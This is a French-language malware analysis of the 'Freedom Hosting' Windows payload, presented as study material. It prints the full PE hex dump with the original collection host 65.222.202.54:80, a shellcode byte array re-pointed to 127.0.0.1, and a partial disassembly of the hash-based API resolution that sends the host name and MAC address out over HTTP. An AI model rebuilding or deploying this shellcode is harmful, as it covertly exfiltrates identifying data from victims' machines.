I. Introduction

Vous trouverez plusieurs sites sur le "FBI Freedom Hosting Payload malware"

Vous trouverez différent pointeur vers la source étudié

En bref, cette charge utile se connecte à au site 65.222.202.54:80 et lui envoie une requête HTTP incluant le nom d'hôte (via gethostname ()) et l'adresse MAC de l'hôte local (via l'appel l'api SendARP(..) sur gethostbyname () -> h_addr_list). Après cela, il nettoie l'état par contre semble délibérément planter vu le code de sortie.

Et de ce fait pas, il n'y a pas une sortie propre du programme. Cela peut être volontaire

Comme sa mission est réalisé sur la récolte des données de la cible. Le fait de planté

Peut laissé croire à un fichier mal téléchargé pour l'utilisateur

L'intérêt que l'on peut avoir pour ce type de binaire était purement l'axe de l'analyse de la charge et les techniques mise en oeuvre.

II. Reconstruction de la charge

L'intérêt de la première référence est que l'on dispose du dump de l'exécutable Windows

0000 4D 5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............

0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0030 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 ............@...

0040 50 45 00 00 4C 01 01 00 5D BE 45 45 00 00 00 00 PE..L...].EE....

0050 00 00 00 00 E0 00 03 01 0B 01 08 00 BC 03 00 00 ................

0060 00 00 00 00 00 00 00 00 60 01 00 00 60 01 00 00 ........`...`...

0070 1C 05 00 00 00 00 40 00 01 00 00 00 01 00 00 00 ......@.........

0080 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................

0090 1C 05 00 00 60 01 00 00 00 00 00 00 02 00 00 04 ....`...........

00A0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................

00B0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................

00C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0130 00 00 00 00 00 00 00 00 2E 74 65 78 74 00 00 00 .........text...

0140 BC 03 00 00 60 01 00 00 BC 03 00 00 60 01 00 00 ....`.......`...

0150 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ............ ..`

0160 60 FC E8 8A 00 00 00 60 89 E5 31 D2 64 8B 52 30 `......`..1.d.R0

0170 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 .R..R..r(..J&1.1

0180 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 ..<a|., .......R

0190 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A W.R..B<...@x..tJ

01A0 01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 ..P.H..X ...<I.4

01B0 8B 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 ...1.1.......8.u

01C0 F4 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 ..}.;}$u.X.X$..f

01D0 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 ..K.X.........D$

01E0 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 $[[aYZQ..X_Z....

01F0 05 5D 81 BD E9 02 00 00 47 45 54 20 75 70 8D 85 .]......GET up..

0200 D1 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 74 5E ....PhLw&.....t^

0210 8D 85 D8 02 00 00 50 68 4C 77 26 07 FF D5 85 C0 ......PhLw&.....

0220 74 4C BB 90 01 00 00 29 DC 54 53 68 29 80 6B 00 tL.....).TSh).k.

0230 FF D5 01 DC 85 C0 75 36 50 50 50 50 40 50 40 50 ......u6PPPP@P@P

0240 68 EA 0F DF E0 FF D5 31 DB F7 D3 39 C3 74 1F 89 h......1...9.t..

0250 C3 6A 10 8D B5 E1 02 00 00 56 53 68 99 A5 74 61 .j.......VSh..ta

0260 FF D5 85 C0 74 1F FE 8D 89 00 00 00 75 E3 80 BD ....t.......u...

0270 4F 02 00 00 01 74 07 E8 3B 01 00 00 EB 05 E8 4D O....t..;......M

0280 01 00 00 FF E7 B8 00 01 00 00 29 C4 89 E2 52 50 ..........)...RP

0290 52 68 B6 49 DE 01 FF D5 5F 81 C4 00 01 00 00 85 Rh.I...._.......

02A0 C0 0F 85 F2 00 00 00 57 E8 F9 00 00 00 5E 89 CA .......W.....^..

02B0 8D BD E9 02 00 00 E8 EB 00 00 00 4F 83 FA 20 7C ...........O.. |

02C0 05 BA 20 00 00 00 89 D1 56 F3 A4 B9 0D 00 00 00 .. .....V.......

02D0 8D B5 C4 02 00 00 F3 A4 89 BD 4B 02 00 00 5E 56 ..........K...^V

02E0 68 A9 28 34 80 FF D5 85 C0 0F 84 AA 00 00 00 66 h.(4...........f

02F0 8B 48 0A 66 83 F9 04 0F 82 9C 00 00 00 8D 40 0C .H.f..........@.

0300 8B 00 8B 08 8B 09 B8 00 01 00 00 50 89 E7 29 C4 ...........P..).

0310 89 E6 57 56 51 51 68 48 72 D2 B8 FF D5 85 C0 81 ..WVQQhHr.......

0320 C4 04 01 00 00 0F B7 0F 83 F9 06 72 6C B9 06 00 ...........rl...

0330 00 00 B8 10 00 00 00 29 C4 89 E7 89 CA D1 E2 50 .......).......P

0340 52 31 D2 8A 16 88 D0 24 F0 C0 E8 04 3C 09 77 04 R1.....$....<.w.

0350 04 30 EB 02 04 37 88 07 47 88 D0 24 0F 3C 09 77 .0...7..G..$.<.w

0360 04 04 30 EB 02 04 37 88 07 47 46 E2 D4 59 29 CF ..0...7..GF..Y).

0370 89 FE 58 01 C4 8B BD 4B 02 00 00 F3 A4 C6 85 4F ..X....K.......O

0380 02 00 00 01 E8 2E 00 00 00 31 C0 50 51 29 CF 4F .........1.PQ).O

0390 57 53 68 C2 EB 38 5F FF D5 53 68 75 6E 4D 61 FF WSh..8_..ShunMa.

03A0 D5 E9 C8 FE FF FF 31 C9 F7 D1 31 C0 F2 AE F7 D1 ......1...1.....

03B0 49 C3 00 00 00 00 00 8D BD E9 02 00 00 E8 E4 FF I...............

03C0 FF FF 4F B9 4F 00 00 00 8D B5 75 02 00 00 F3 A4 ..O.O.....u.....

03D0 8D BD E9 02 00 00 E8 CB FF FF FF C3 0D 0A 43 6F ..............Co

03E0 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 nnection: keep-a

03F0 6C 69 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A 2F live..Accept: */

0400 2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 *..Accept-Encodi

0410 6E 67 3A 20 67 7A 69 70 0D 0A 0D 0A 00 83 C7 0E ng: gzip........

0420 31 C9 F7 D1 31 C0 F3 AE 4F FF E7 0D 0A 43 6F 6F 1...1...O....Coo

0430 6B 69 65 3A 20 49 44 3D 77 73 32 5F 33 32 00 49 kie: ID=ws2_32.I

0440 50 48 4C 50 41 50 49 00 02 00 00 50 41 DE CA 36 PHLPAPI....PA..6

0450 47 45 54 20 2F 30 35 63 65 61 34 64 65 2D 39 35 GET /05cea4de-95

0460 31 64 2D 34 30 33 37 2D 62 66 38 66 2D 66 36 39 1d-4037-bf8f-f69

0470 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2F 31 055b279bb HTTP/1

0480 2E 31 0D 0A 48 6F 73 74 3A 20 00 00 00 00 00 00 .1..Host: ......

0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0510 00 00 00 00 00 00 00 00 00 00 00 90 ............

qui permet de reconstruire le binaire directement à partir du dump avec des outils adaptés

Dans notre cas, nous utilisons un outils maison conçu pour dumper des binaires, mais également à partir de flux Dump de passer a différents mode et de sauvegarder en binaire ou le display. Cela est pratique comme il existe différente façon d'avoir un dump sur différents site web.

ATTENTION DANS LA SUITE, NOUS AVONS CHANGER LES OCTETS EN ROUGE

Car elle correspond au codage de 65.222.202.54:80 dans la suite elle est remplacé par 127.0.0.1:89 pour la démonstration de l'analyse statique de la charge.

c'est à dire que les octets "00 50 41 DE CA 36" sont remplacés par "00 59 7F 00 00 01"

L'extension sera .bin dans le cas de la sauvegarde binaire pour ne pas avoir l'extension d'origine. Cela pour éviter le mauvaise manipulation sur le l'environnement d'analyse.

Dans le cas de notre dump, c'est un exécutable assez reconnaissable via e_magic : 0x5A4D ( Magic number "MZ")

0000 4D 5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............

Maintenant que nous avons le binaire, il nous suffit de le passer dans un outils d'analyse de PE

pour voir la construction et la structure de l'exécutable.

Dans la suite, nous utilisons un outil maison "Easy PE File Analyzer". Mais vous pouvez utilisé le classique "CFF Explorer VII" ou "PE Explorer"

Nous allons d'abord aller cherche "AddressOfEntryPoint" du programme et le début de la section ".text" pour connaître l'emplacement ou démarre le programme est le code associé

Nous utilisons un outil maison dédié "Easy PE File Analyzer V2.8"

Comme nous pouvons le voir AddressOfEntryPoint correspond à 0x00000160

et le début du la section ".text" à pour VirtualAddress également 0x00000160

Ce qui signifie que le démarrage du programme ce fait au premier octet de la section

Ce cas est plutôt assez peu courant. De plus il ne dispose que d'une section qui montre la génération de l'exécutable n'a pas était faite avec un IDE.

Comme nous venons de dire, il nous suffit le lire la section ".text" pour obtenir le code machine de la charge.

Notre outil permet de visualiser les zones binaires avec deux mode d'affichage Dump ou Shellcode. Delà nous n'avons plus qu'a copier le contenu dans un tableau comme celui en dessous:

\x60\xFC\xE8\x8A\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30

\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31

\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52

\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A

\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34

\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75

\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66

\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24

\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86

\x90\x5D\x81\xBD\xE9\x02\x00\x00\x47\x45\x54\x20\x75\x70\x8D\x85

\xD1\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0\x74\x5E

\x8D\x85\xD8\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0

\x74\x4C\xBB\x90\x01\x00\x00\x29\xDC\x54\x53\x68\x29\x80\x6B\x00

\xFF\xD5\x01\xDC\x85\xC0\x75\x36\x50\x50\x50\x50\x40\x50\x40\x50

\x68\xEA\x0F\xDF\xE0\xFF\xD5\x31\xDB\xF7\xD3\x39\xC3\x74\x1F\x89

\xC3\x6A\x10\x8D\xB5\xE1\x02\x00\x00\x56\x53\x68\x99\xA5\x74\x61

\xFF\xD5\x85\xC0\x74\x1F\xFE\x8D\x89\x00\x00\x00\x75\xE3\x80\xBD

\x4F\x02\x00\x00\x01\x74\x07\xE8\x3B\x01\x00\x00\xEB\x05\xE8\x4D

\x01\x00\x00\xFF\xE7\xB8\x00\x01\x00\x00\x29\xC4\x89\xE2\x52\x50

\x52\x68\xB6\x49\xDE\x01\xFF\xD5\x5F\x81\xC4\x00\x01\x00\x00\x85

\xC0\x0F\x85\xF2\x00\x00\x00\x57\xE8\xF9\x00\x00\x00\x5E\x89\xCA

\x8D\xBD\xE9\x02\x00\x00\xE8\xEB\x00\x00\x00\x4F\x83\xFA\x20\x7C

\x05\xBA\x20\x00\x00\x00\x89\xD1\x56\xF3\xA4\xB9\x0D\x00\x00\x00

\x8D\xB5\xC4\x02\x00\x00\xF3\xA4\x89\xBD\x4B\x02\x00\x00\x5E\x56

\x68\xA9\x28\x34\x80\xFF\xD5\x85\xC0\x0F\x84\xAA\x00\x00\x00\x66

\x8B\x48\x0A\x66\x83\xF9\x04\x0F\x82\x9C\x00\x00\x00\x8D\x40\x0C

\x8B\x00\x8B\x08\x8B\x09\xB8\x00\x01\x00\x00\x50\x89\xE7\x29\xC4

\x89\xE6\x57\x56\x51\x51\x68\x48\x72\xD2\xB8\xFF\xD5\x85\xC0\x81

\xC4\x04\x01\x00\x00\x0F\xB7\x0F\x83\xF9\x06\x72\x6C\xB9\x06\x00

\x00\x00\xB8\x10\x00\x00\x00\x29\xC4\x89\xE7\x89\xCA\xD1\xE2\x50

\x52\x31\xD2\x8A\x16\x88\xD0\x24\xF0\xC0\xE8\x04\x3C\x09\x77\x04

\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x88\xD0\x24\x0F\x3C\x09\x77

\x04\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x46\xE2\xD4\x59\x29\xCF

\x89\xFE\x58\x01\xC4\x8B\xBD\x4B\x02\x00\x00\xF3\xA4\xC6\x85\x4F

\x02\x00\x00\x01\xE8\x2E\x00\x00\x00\x31\xC0\x50\x51\x29\xCF\x4F

\x57\x53\x68\xC2\xEB\x38\x5F\xFF\xD5\x53\x68\x75\x6E\x4D\x61\xFF

\xD5\xE9\xC8\xFE\xFF\xFF\x31\xC9\xF7\xD1\x31\xC0\xF2\xAE\xF7\xD1

\x49\xC3\x00\x00\x00\x00\x01\x8D\xBD\xE9\x02\x00\x00\xE8\xE4\xFF

\xFF\xFF\x4F\xB9\x4F\x00\x00\x00\x8D\xB5\x75\x02\x00\x00\xF3\xA4

\x8D\xBD\xE9\x02\x00\x00\xE8\xCB\xFF\xFF\xFF\xC3\x0D\x0A\x43\x6F

\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x6B\x65\x65\x70\x2D\x61

\x6C\x69\x76\x65\x0D\x0A\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F

\x2A\x0D\x0A\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69

\x6E\x67\x3A\x20\x67\x7A\x69\x70\x0D\x0A\x0D\x0A\x00\x83\xC7\x0E

\x31\xC9\xF7\xD1\x31\xC0\xF3\xAE\x4F\xFF\xE7\x0D\x0A\x43\x6F\x6F

\x6B\x69\x65\x3A\x20\x49\x44\x3D\x77\x73\x32\x5F\x33\x32\x00\x49

\x50\x48\x4C\x50\x41\x50\x49\x00\x02\x00\x00\x59\x7F\x00\x00\x01

\x47\x45\x54\x20\x2F\x30\x35\x63\x65\x61\x34\x64\x65\x2D\x39\x35

\x31\x64\x2D\x34\x30\x33\x37\x2D\x62\x66\x38\x66\x2D\x66\x36\x39

\x30\x35\x35\x62\x32\x37\x39\x62\x62\x20\x48\x54\x54\x50\x2F\x31

\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90

Maintenant pour pouvons démarrer l'analyse.

III. L'analyse de la charge

A partir de maintenant, nous avons plus qu'a passer ce bloc dans un désassembleur X86

Dans notre cas, nous utilisons l'un de nos outil "EzShellCodeAnalyzerX32.exe" déjà vu dans d'autre de nos articles.

Pour vous permettre de faire vos recherches, nous mettons le listing obtenu en dessous:

00000000: 60 PUSHAD

00000001: FC CLD // Clear Direction Flag

00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)

00000007: 60 PUSHAD

00000008: 89 E5 MOV EBP,ESP

0000000A: 31 D2 XOR EDX,EDX

0000000C: 64 8B 52 30 MOV EDX,DWORD PTR FS:[EDX+0x30]

00000010: 8B 52 0C MOV EDX,DWORD PTR DS:[EDX+0Ch]

00000013: 8B 52 14 MOV EDX,DWORD PTR DS:[EDX+14h]

00000016: 8B 72 28 MOV ESI,DWORD PTR DS:[EDX+28h]

00000019: 0F B7 4A 26 MOVZX ECX,WORD PTR [EDX+26h]

0000001D: 31 FF XOR EDI,EDI

0000001F: 31 C0 XOR EAX,EAX

00000021: AC LODSB

00000022: 3C 61 CMP AL,61h

00000024: 7C 02 JL 02h (rel8)(+02h ->:00000028)

00000026: 2C 20 SUB AL,20h

00000028: C1 CF 0D ROR EDI,0Dh (13)

0000002B: 01 C7 ADD EDI,EAX

0000002D: E2 F0 LOOP F0h (-FFFFFFF0h=>:0000001F) Dec ECX or CX jump if !=0

0000002F: 52 PUSH EDX

00000030: 57 PUSH EDI

00000031: 8B 52 10 MOV EDX,DWORD PTR DS:[EDX+10h]

00000034: 8B 42 3C MOV EAX,DWORD PTR[EDX+0x3C]

00000037: 01 D0 ADD EAX,EDX

00000039: 8B 40 78 MOV EAX,DWORD PTR[EAX+0x78]

0000003C: 85 C0 TEST EAX,EAX

0000003E: 74 4A JZ 0x4A (+4Ah ->:0000008A)

00000040: 01 D0 ADD EAX,EDX

00000042: 50 PUSH EAX

00000043: 8B 48 18 MOV ECX,DWORD PTR[EAX+18h]

00000046: 8B 58 20 MOV EBX,DWORD PTR [EAX+20h]

00000049: 01 D3 ADD EBX,EDX

0000004B: E3 3C JECXZ 3Ch (-FFFFFFC4h ->:00000089)

0000004D: 49 DEC ECX

0000004E: 8B 34 8B MOV ESI,DWORD PTR[EBX+ECX*4]

00000051: 01 D6 ADD ESI,EDX

00000053: 31 FF XOR EDI,EDI

00000055: 31 C0 XOR EAX,EAX

00000057: AC LODSB

00000058: C1 CF 0D ROR EDI,0Dh (13)

0000005B: 01 C7 ADD EDI,EAX

0000005D: 38 E0 CMP AL,AH

0000005F: 75 F4 JNZ F4h (rel8)(-0Ch ->:00000055)

00000061: 03 7D F8 ADD EDI,DWORD PTR [EBP-08h]

00000064: 3B 7D 24 CMP EDI,DWORD PTR [EBP+24h]

00000067: 75 E2 JNZ E2h (rel8)(-1Eh ->:0000004B)

00000069: 58 POP EAX

0000006A: 8B 58 24 MOV EBX,DWORD PTR [EAX+24h]

0000006D: 01 D3 ADD EBX,EDX

0000006F: 66 8B 0C 4B MOV CX,WORD PTR DS:[EBX+ECX*2]

00000073: 8B 58 1C MOV EBX,DWORD PTR [EAX+1Ch]

00000076: 01 D3 ADD EBX,EDX

00000078: 8B 04 8B MOV EAX,DWORD PTR[EBX+ECX*4]

0000007B: 01 D0 ADD EAX,EDX

0000007D: 89 44 24 24 MOV DWORD PTR[ESP+24h],EAX

00000081: 5B POP EBX

00000082: 5B POP EBX

00000083: 61 POPAD

00000084: 59 POP ECX

00000085: 5A POP EDX

00000086: 51 PUSH ECX

00000087: FF E0 JMP EAX

00000089: 58 POP EAX

0000008A: 5F POP EDI

0000008B: 5A POP EDX

0000008C: 8B 12 MOV EDX,DWORD PTR [EDX]

0000008E: EB 86 JMP 86h (-7Ah ->:00000016)

00000090: 90 NOP

00000091: 5D POP EBP

00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD PTR[EBP+0x000002E9],0x20544547

0000009C: 75 70 JNZ 70h (rel8)(+70h ->:0000010E)

0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D1h]

000000A4: 50 PUSH EAX

000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))

000000AA: FF D5 CALL EBP

000000AC: 85 C0 TEST EAX,EAX

000000AE: 74 5E JZ 0x5E (+5Eh ->:0000010E)

000000B0: 8D 85 D8 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D8h]

000000B6: 50 PUSH EAX

000000B7: 68 4C 77 26 07 PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))

000000BC: FF D5 CALL EBP

000000BE: 85 C0 TEST EAX,EAX

000000C0: 74 4C JZ 0x4C (+4Ch ->:0000010E)

000000C2: BB 90 01 00 00 MOV EBX,00000190h ""

000000C7: 29 DC SUB ESP,EBX

000000C9: 54 PUSH ESP

000000CA: 53 PUSH EBX

000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))

000000D0: FF D5 CALL EBP

000000D2: 01 DC ADD ESP,EBX

000000D4: 85 C0 TEST EAX,EAX

000000D6: 75 36 JNZ 36h (rel8)(+36h ->:0000010E)

000000D8: 50 PUSH EAX

000000D9: 50 PUSH EAX

000000DA: 50 PUSH EAX

000000DB: 50 PUSH EAX

000000DC: 40 INC EAX

000000DD: 50 PUSH EAX

000000DE: 40 INC EAX

000000DF: 50 PUSH EAX

000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))

000000E5: FF D5 CALL EBP

000000E7: 31 DB XOR EBX,EBX

000000E9: F7 D3 NOT EBX

000000EB: 39 C3 CMP EBX,EAX

000000ED: 74 1F JZ 0x1F (+1Fh ->:0000010E)

000000EF: 89 C3 MOV EBX,EAX

000000F1: 6A 10 PUSH 10h (16) ''

000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]

000000F9: 56 PUSH ESI

000000FA: 53 PUSH EBX

000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta" (6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))

00000100: FF D5 CALL EBP

00000102: 85 C0 TEST EAX,EAX

00000104: 74 1F JZ 0x1F (+1Fh ->:00000125)

00000106: FE 8D 89 00 00 00 DEC BYTE PTR[EBP+0x00000089]

0000010C: 75 E3 JNZ E3h (rel8)(-1Dh ->:000000F1)

0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01

00000115: 74 07 JZ 0x07 (+07h ->:0000011E)

00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)

0000011C: EB 05 JMP 05h +05h ->:00000123)

0000011E: E8 4D 01 00 00 CALL 0000014Dh (+14Dh ->:00000270)

00000123: FF E7 JMP EDI

00000125: B8 00 01 00 00 MOV EAX, 00000100h ""

0000012A: 29 C4 SUB ESP,EAX

0000012C: 89 E2 MOV EDX,ESP

0000012E: 52 PUSH EDX

0000012F: 50 PUSH EAX

00000130: 52 PUSH EDX

00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ" (01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))

00000136: FF D5 CALL EBP

00000138: 5F POP EDI

00000139: 81 C4 00 01 00 00 ADD ESP,00000100h (256)

0000013F: 85 C0 TEST EAX,EAX

00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)

00000147: 57 PUSH EDI

00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)

0000014D: 5E POP ESI

0000014E: 89 CA MOV EDX,ECX

00000150: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

00000156: E8 EB 00 00 00 CALL 000000EBh (+EBh ->:00000246)

0000015B: 4F DEC EDI

0000015C: 83 FA 20 CMP EDX,+20h

0000015F: 7C 05 JL 05h (rel8)(+05h ->:00000166)

00000161: BA 20 00 00 00 MOV EDX, 00000020h

00000166: 89 D1 MOV ECX,EDX

00000168: 56 PUSH ESI

00000169: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

0000016B: B9 0D 00 00 00 MOV ECX, 0000000Dh "

00000170: 8D B5 C4 02 00 00 LEA ESI,[EBP+0x000002C4]

00000176: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00000178: 89 BD 4B 02 00 00 MOV DWORD PTR[EBP+0000024Bh],EDI

0000017E: 5E POP ESI

0000017F: 56 PUSH ESI

00000180: 68 A9 28 34 80 PUSH 803428A9h "©(4€" (803428A9=Hash[ROR13-Hybrid](ws2_32.dll!gethostbyname))

00000185: FF D5 CALL EBP

00000187: 85 C0 TEST EAX,EAX

00000189: 0F 84 AA 00 00 00 JE 000000AAh (+AAh ->:00000239)

0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]

00000193: 66 83 F9 04 CMP CX,0x0004

00000197: 0F 82 9C 00 00 00 JB Loc_00000239

0000019D: 8D 40 0C LEA EAX,DWORD PTR [EAX+0Ch]

000001A0: 8B 00 MOV EAX,DWORD PTR [EAX]

000001A2: 8B 08 MOV ECX,DWORD PTR [EAX]

000001A4: 8B 09 MOV ECX,DWORD PTR [ECX]

000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""

000001AB: 50 PUSH EAX

000001AC: 89 E7 MOV EDI,ESP

000001AE: 29 C4 SUB ESP,EAX

000001B0: 89 E6 MOV ESI,ESP

000001B2: 57 PUSH EDI

000001B3: 56 PUSH ESI

000001B4: 51 PUSH ECX

000001B5: 51 PUSH ECX

000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸" (B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))

000001BB: FF D5 CALL EBP

000001BD: 85 C0 TEST EAX,EAX

000001BF: 81 C4 04 01 00 00 ADD ESP,00000104h (260)

000001C5: 0F B7 0F MOVZX ECX,WORD PTR [EDI]

000001C8: 83 F9 06 CMP EAX,+06h

000001CB: 72 6C JB (rel8) 6Ch (-FFFFFF94h ->:00000239)

000001CD: B9 06 00 00 00 MOV ECX, 00000006h ""

000001D2: B8 10 00 00 00 MOV EAX, 00000010h ""

000001D7: 29 C4 SUB ESP,EAX

000001D9: 89 E7 MOV EDI,ESP

000001DB: 89 CA MOV EDX,ECX

000001DD: D1 E2 SHL EDX,1

000001DF: 50 PUSH EAX

000001E0: 52 PUSH EDX

000001E1: 31 D2 XOR EDX,EDX

000001E3: 8A 16 MOV DL, BYTE PTR [ESI]

000001E5: 88 D0 MOV AL,DL

000001E7: 24 F0 AND AL,0xF0

000001E9: C0 E8 04 SHR AL,0x04

000001EC: 3C 09 CMP AL,09h

000001EE: 77 04 JA 04h (Jump if Above)(+04h ->:000001F4)

000001F0: 04 30 ADD AL,0x30

000001F2: EB 02 JMP 02h +02h ->:000001F6)

000001F4: 04 37 ADD AL,0x37

000001F6: 88 07 MOV BYTE PTR[EDI],AL

000001F8: 47 INC EDI

000001F9: 88 D0 MOV AL,DL

000001FB: 24 0F AND AL,0x0F

000001FD: 3C 09 CMP AL,09h

000001FF: 77 04 JA 04h (Jump if Above)(+04h ->:00000205)

00000201: 04 30 ADD AL,0x30

00000203: EB 02 JMP 02h +02h ->:00000207)

00000205: 04 37 ADD AL,0x37

00000207: 88 07 MOV BYTE PTR[EDI],AL

00000209: 47 INC EDI

0000020A: 46 INC ESI

0000020B: E2 D4 LOOP D4h (-FFFFFFD4h=>:000001E1) Dec ECX or CX jump if !=0

0000020D: 59 POP ECX

0000020E: 29 CF SUB EDI,ECX

00000210: 89 FE MOV ESI,EDI

00000212: 58 POP EAX

00000213: 01 C4 ADD ESP,EAX

00000215: 8B BD 4B 02 00 00 MOV EDI,DWORD PTR[EBP+0x0000024B]

0000021B: F3 A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

0000021D: C6 85 4F 02 00 00 01 MOV BYTE PTR[EBP+0000024Fh],01h => ''

00000224: E8 2E 00 00 00 CALL 0000002Eh (+2Eh ->:00000257)

00000229: 31 C0 XOR EAX,EAX

0000022B: 50 PUSH EAX

0000022C: 51 PUSH ECX

0000022D: 29 CF SUB EDI,ECX

0000022F: 4F DEC EDI

00000230: 57 PUSH EDI

00000231: 53 PUSH EBX

00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_" (5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))

00000237: FF D5 CALL EBP

00000239: 53 PUSH EBX

0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))

0000023F: FF D5 CALL EBP

00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)

00000246: 31 C9 XOR ECX,ECX

00000248: F7 D1 NOT ECX

0000024A: 31 C0 XOR EAX,EAX

0000024C: F2 AE REPNE SCAS BYTE PTR ES:[EDI]

0000024E: F7 D1 NOT ECX

00000250: 49 DEC ECX

00000251: C3 RET

00000252: 00 00 ADD BYTE PTR[EAX],AL

00000254: 00 00 ADD BYTE PTR[EAX],AL

00000256: 01

00000257: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

0000025D: E8 E4 FF FF FF CALL FFFFFFE4h (-1Ch ->:00000246)

00000262: 4F DEC EDI

